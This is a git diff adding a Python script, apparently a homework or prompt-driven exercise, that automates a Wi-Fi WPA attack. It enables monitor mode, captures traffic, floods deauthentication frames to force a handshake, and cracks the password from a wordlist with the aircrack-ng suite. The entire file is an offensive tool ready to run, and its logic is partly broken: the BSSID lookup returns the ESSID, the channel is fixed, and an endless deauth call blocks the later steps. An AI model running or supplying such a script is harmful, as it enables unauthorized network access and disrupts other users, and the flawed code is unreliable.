diff --git a/hw7/prompt0/app.py b/hw7/prompt0/app.py
new file mode 100644
index 0000000..eced231
--- /dev/null
+++ b/hw7/prompt0/app.py
@@ -0,0 +1,71 @@
+import subprocess
+import re
+import time
+
+def change_to_monitor_mode(interface: str) -> None:
+    """
+    Change the given interface to monitor mode.
+    """
+    subprocess.run(["sudo", "airmon-ng", "start", interface])
+
+def change_to_managed_mode(interface: str) -> None:
+    """
+    Change the given interface to managed mode.
+    """
+    subprocess.run(["sudo", "airmon-ng", "stop", interface])
+
+def get_bssid(essid: str) -> str:
+    """
+    Get the BSSID of the given ESSID.
+    """
+    process = subprocess.Popen(["sudo", "iwconfig"], stdout=subprocess.PIPE)
+    output, error = process.communicate()
+    output = output.decode("utf-8")
+    match = re.search(r"ESSID:\"({})\"".format(essid), output)
+    if match:
+        return match.group(1)
+    else:
+        return None
+
+def capture_handshake(bssid: str, interface: str) -> None:
+    """
+    Capture the handshake of the given BSSID.
+    """
+    subprocess.Popen(["sudo", "airodump-ng", "--bssid", bssid, "--channel", "6", "-w", "capture", interface], stdout=subprocess.PIPE)
+    time.sleep(5)
+    subprocess.run(["sudo", "aireplay-ng", "--deauth", "0", "-a", bssid, interface])
+    time.sleep(10)
+    subprocess.run(["sudo", "killall", "airodump-ng"])
+
+def crack_handshake(capture_file: str, wordlist: str) -> str:
+    """
+    Crack the handshake in the given capture file.
+    """
+    process = subprocess.Popen(["sudo", "aircrack-ng", "-w", wordlist, capture_file], stdout=subprocess.PIPE)
+    output, error = process.communicate()
+    output = output.decode("utf-8")
+    match = re.search(r"KEY FOUND! \[(.*)\]", output)
+    if match:
+        return match.group(1)
+    else:
+        return None
+
+if __name__ == "__main__":
+    essid = input("Enter the ESSID: ")
+    interface = input("Enter the interface: ")
+    wordlist = input("Enter the path to the wordlist: ")
+
+    change_to_monitor_mode(interface)
+    bssid = get_bssid(essid)
+    if bssid:
+        print(f"BSSID: {bssid}")
+        capture_handshake(bssid, interface)
+        password = crack_handshake("capture-01.cap", wordlist)
+        if password:
+            print(f"Password: {password}")
+        else:
+            print("Password not found.")
+    else:
+        print("ESSID not found.")
+
+    change_to_managed_mode(interface)